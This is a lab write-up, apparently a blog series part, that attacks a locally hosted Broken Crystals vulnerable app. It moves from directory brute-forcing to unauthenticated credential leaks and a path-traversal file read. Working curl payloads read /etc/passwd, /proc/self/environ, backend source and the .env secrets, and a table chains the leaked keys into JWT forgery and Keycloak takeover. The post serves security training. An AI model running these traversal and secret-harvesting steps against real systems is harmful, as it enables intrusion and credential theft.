6 min read

Broken Crystals Field Notes 1: From Information Disclosure to Arbitrary File Read (LFI)

Broken Crystals Field Notes 1: From Information Disclosure to Arbitrary File Read (LFI)
📚 Series · Broken Crystals Field Notes
  1. ▸ Part 1: Information Disclosure → Arbitrary File Read (LFI) (this post)
  2. Part 2: A single query parameter → root reverse shell
  3. Part 3: eval SSJI for RCE, plus XXE
  4. Part 4: MCP attack → admin RCE kill chain
These are my field notes from spinning up the modern, realistic vulnerability target Broken Crystals (an open-source project maintained by DAST vendor Bright Security / NeuraLegion) on my own machine and attacking it at real bug-bounty pace. Part 1 records the pitfalls I hit while standing up the environment, plus the first complete attack chain (information disclosure → LFI → weaponization). The point of this series isn't "solve the challenge and grab the flag"—Broken Crystals has no scoreboard—but to treat it as a real pentest target and drill methodology and instinct.

Why Broken Crystals

Broken Crystals ships with docker-compose, and its stack is thoroughly modern: React frontend + NestJS/Fastify backend + PostgreSQL. It also exposes three interfaces at once—REST (Swagger), GraphQL, and gRPC—and the vulnerabilities are drawn from the real world. For anyone whose bread and butter is API bug hunting, it hews far closer to live engagements than a traditional lab, and it makes an excellent benchmark for your own scanners and tooling.

1. Standing up the environment: a docker-compose gotcha

The target itself comes up with a simple git clone followed by docker compose up, but I wanted to bind it to 127.0.0.1 (a deliberately vulnerable service has no business being exposed on the corporate LAN), so I wrote a compose.override.yml to override the port bindings.

Then came a string of landmines: every up complained that some port was address already in use, yet ss and netstat (checked on both the WSL and Windows sides) all showed the port as free. Fix one and the next popped up—it was pure whack-a-mole.

Root cause: compose ports is "concatenated," not "replaced"

After digging in, I confirmed it: when Docker Compose merges multiple files, the default behavior for multi-value options like ports is to concatenate the two lists, not override them.

The fix: the !override tag

Docker Compose offers two YAML tags to bypass the standard merge rules:

  • !reset []: clear the base's value for that property (use it for services that need no external exposure at all, e.g. the DB)
  • !override: completely replace the base's value for that property (use it for services whose external binding you want to re-specify)

The final working override:

services:
  db:
    ports: !reset []
  keycloak:
    ports: !override
      - '127.0.0.1:8080:8080'
  nodejs:
    ports: !override
      - '127.0.0.1:3000:3000'
      - '127.0.0.1:5000:5000'
  grpcwebproxy:
    ports: !override
      - '127.0.0.1:8081:8081'
  mailcatcher:
    ports: !override
      - '127.0.0.1:1080:1080'
  ollama:
    ports: !reset []

Key habit: inspect the merged result with config before you up—don't launch blindly.

docker compose -f compose.local.yml -f compose.override.yml config | grep -iE "host_ip|published"

Confirm each port appears exactly once, that every host_ip is 127.0.0.1, and that no stray 0.0.0.0 lingers—then start. This same discipline pays off in real environments when you split dev/prod settings across compose files.

2. Recon: mapping the attack surface via directory brute-forcing

Once the environment was up, rather than swallowing the endpoint list Swagger hands you, I followed the proper process and started with directory brute-forcing to dig out the attack surface myself (you might uncover hidden routes that Swagger never listed).

feroxbuster -u http://localhost:3000 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50

Reading response codes: the SPA judgment trap

The frontend is a SPA, which means nonexistent paths often return 200 plus the same index.html (frontend routing takes over). feroxbuster auto-filters these 404-like responses, but you still need to stay alert.

The most valuable clue from the first pass was:

404  GET  69c   http://localhost:3000/api

/api returns a 69-byte JSON 404 (not the SPA's 3031-byte homepage), proving that /api/* is the backend API's turf, separate from the frontend routing. This is where the attack surface lives.

Recursive brute-forcing of /api

feroxbuster recurses by default (depth controlled by --depth, default 4), so point it straight at the API turf:

feroxbuster -u http://localhost:3000/api \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
  -t 50 --depth 3 -C 404 -o ferox_api.txt

It scooped up a batch of endpoints, and every response code was telling a story:

Endpoint Code Signal
/api/secrets 200 (1186c) Named "secrets" and returns a lot of content
/api/config 200 (156c) Config endpoint
/api/file 500 Blows up with no parameter → likely LFI entry point
/api/goto 302 Redirect → likely open redirect / SSRF
/api/products 403 Requires authorization → test for broken access control later
/api/testimonials 200 (2c) Empty array, ordinary endpoint

3. Information disclosure: two unauthenticated endpoints drop the backend's trousers

/api/secrets — unauthenticated credential dump

curl -s http://localhost:3000/api/secrets | jq

With no authentication whatsoever, it coughs up a full bundle of credentials for various services (format excerpted, values sanitized):

  • Facebook access token (EAAC... format)
  • Google OAuth token (ya29... format) and OAuth client id
  • A Base64-encoded Google API key
  • PayPal production access token
  • Slack token (xoxo-...)
  • CodeClimate / Heroku / Outlook webhook / HockeyApp, and more

I casually decoded that Base64 one, and sure enough it's a standard Google API key starting with AIza:

echo "QUl6YVN5...(truncated)" | base64 -d
# AIzaSy...(AIza prefix = Google API key fingerprint)

/api/config — backend config leak, including the DB connection string

curl -s http://localhost:3000/api/config | jq
{
  "awsBucket": "https://...s3.amazonaws.com",
  "sql": "postgres://bc:bc@db:5432/bc",
  "googlemaps": "AIza...(second Google key)"
}

That sql line is the nastiest: a complete DB connection string, with username, password, host, port, and db name all delivered in one shot. These two endpoints fall under "information disclosure"—already in the bag—but the real main event is the next bug we can actually act on.

4. Arbitrary file read (Path Traversal / LFI)

Locating the parameter: let the error message talk

/api/file throws a 500 straight away:

curl -s "http://localhost:3000/api/file"
# {"error":"Cannot read properties of undefined (reading 'startsWith')"}

This Node.js error leaks the key detail: the code called .startsWith() on some "parameter you didn't supply"—which is very likely a path allowlist check the backend intended to perform. In other words, the endpoint is waiting for a parameter it treats as a "file path."

First I probed the parameter name path with a legitimate file, confirming the endpoint really does read and return the file:

curl -s "http://localhost:3000/api/file?path=package.json"
# → returns the full contents of package.json

The parameter name is correct and the endpoint genuinely reads and returns the file, so the first half of the LFI stands.

Verifying traversal: straight for /etc/passwd

A true arbitrary file read has to prove it can escape the web directory:

curl -s "http://localhost:3000/api/file?path=../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh

It dumps the whole thing with zero filtering—that .startsWith allowlist is purely decorative. Arbitrary file read is officially confirmed. Bonus intel: the app runs as the non-root node user (uid 1000), the home directory is /home/node, and the system is Alpine-based.

Weaponization: read the high-value files

The value of an LFI isn't reading /etc/passwd (that's just PoC)—it's reading the files that let you expand your foothold.

Process environment variables via /proc/self/environ (use tr to convert \0 to newlines):

curl -s "http://localhost:3000/api/file?path=../../../../../../proc/self/environ" | tr '\0' '\n'

From this I confirmed the app's absolute path is /usr/src/app (from here on I can read files by absolute path instead of guessing the right number of ../ levels).

Backend source codepackage.json's start:prod points to dist/main.js:

curl -s "http://localhost:3000/api/file?path=/usr/src/app/dist/main.js" | head -50

Reading the full compiled backend logic upgrades this LFI from "read config" to a white-box source-audit capability: I can walk through each endpoint's implementation one by one and pin down the exact sinks for SQLi / command injection.

The .env file—the complete set of secrets:

curl -s "http://localhost:3000/api/file?path=/usr/src/app/.env"

The secrets it yielded, and the attacks they chain into:

Leaked item Chainable attack
JWT_SECRET_KEY=1234 JWT forgery / auth bypass (weak HS256 secret)
KEYCLOAK_ADMIN_CLIENT_SECRET Keycloak realm admin rights
KEYCLOAK_PUBLIC_CLIENT_SECRET OIDC token forgery
JKU_URL / X5U_URL JWT jku/x5u header injection
DATABASE_* DB connection (combined with other bugs)

Attack chain summary

Directory brute-force (feroxbuster)
    └─ Locate the /api backend turf
         ├─ /api/secrets   → unauthenticated credential leak (multiple tokens/keys)
         ├─ /api/config    → DB connection string leak
         └─ /api/file      → arbitrary file read (LFI)
                              ├─ /etc/passwd        (PoC)
                              ├─ /proc/self/environ (environment recon)
                              ├─ dist/main.js       (white-box source)
                              └─ .env               (full secret set → keys to the next wave)

A single LFI, by choosing the right things to read, escalates from a lone file-read bug into environment recon + white-box source audit + a full credential leak. This is exactly the real bug-bounty truth that "impact isn't about the vulnerability class—it's about how far you can push it."

This post is a record of testing a locally self-hosted lab within an authorized scope. All leaked credentials are the lab's default fake data, excerpts have been sanitized in the text, and none of these techniques should be used against unauthorized targets.